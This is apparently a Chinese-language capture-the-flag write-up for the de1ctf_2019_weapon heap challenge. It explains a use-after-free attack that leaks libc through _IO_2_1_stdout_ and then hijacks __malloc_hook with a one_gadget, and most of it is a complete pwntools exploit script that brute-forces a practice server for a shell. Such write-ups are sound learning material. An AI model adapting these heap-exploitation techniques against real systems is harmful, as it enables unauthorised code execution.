寒假训练 de1ctf_2019_weapon(5/250)
这道题思路对了,但在如何分配到_IO_2_1_stdout_这上面
学到的东西也挺多 学会了暴力、复习了通过_IO_2_1_stdout_来leak libc,不过运气不好,由于暴力只有1/16,所以我跑了好久才跑出来 极度自闭
这道题总的来说,还是自己写出来的,看了别的师傅的一点点,但没有什么帮助,最后还是自己写出来的
思路
- 由于程序有uaf,但没有show函数,可以通过stdout来打印出libc,然后再通过fast attack来getshell,所以我们可以先通过uaf漏洞修改chunk指针的低字节,使其指向第一个chunk的content部位
- 这样就可以造成堆重叠,然后在将一个0x60的chunk先分配到fastbin中,再分配到unsorted bin中就再暴力跑4位出来,就可以修改到_IO_2_1_stdout_-0x43的位置(因为这里是个fake chunk跟malloc_hook一个道理)
- 泄露玩libc后,再通过fastbin attack劫持malloc hook为one_gadget即可
exp
from pwn import * #p=process('./de1ctf_2019_weapon') p=remote('node3.buuoj.cn',29087) libc=ELF('../libc-2.23.so') def add(size,idx,name): p.sendlineafter('>>','1') p.sendlineafter(': ',str(size)) p.sendlineafter(': ',str(idx)) p.sendafter(':',name) def delete(idx): p.sendlineafter('>>','2') p.sendlineafter(':',str(idx)) def edit(idx,data): p.sendlineafter('>>','3') p.sendlineafter(': ',str(idx)) p.sendafter(':',data) def pwn(): add(0x18,0,p64(0)+p64(0x21)) add(0x18,1,'pppp') add(0x18,2,'pppp') add(0x40,3,'pppp') add(0x60,4,'pppp') add(0x60,5,'pppp') delete(1) delete(2) edit(2,'\x10') add(0x10,2,'pppp') add(0x10,1,'pppp') edit(0,p64(0)+p64(0x111)) delete(4) delete(1) add(0x50,6,p64(0)+p64(0x21)) add(0x30,7,'pp') edit(4,p8(0xdd)+p8(0x75)) add(0x60,4,'pp') add(0x60,8,b'ppp'+p64(0)*6+p64(0xfbad1800)+p64(0)*3+b'\x00') addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print(hex(addr)) print('stdout:'+hex(libc.symbols['_IO_2_1_stdout_'])) libc.address=addr-0x3c5600 one_gadget=0xf1147+libc.address malloc_hook=libc.symbols['__malloc_hook'] print('malloc_hook:'+hex(malloc_hook)) print(hex(malloc_hook-0x23)) delete(5) edit(5,p64(malloc_hook-0x23)) add(0x60,5,b'p'*0x13+p64(one_gadget)) add(0x60,0,b'p'*0x13+p64(one_gadget)) #add(0x10,1,'p') #gdb.attach(p) #pwn() #p.interactive() while(1): try: p=remote('node3.buuoj.cn',29087) pwn() p.interactive() break except Exception as e: print(e) p.close() continue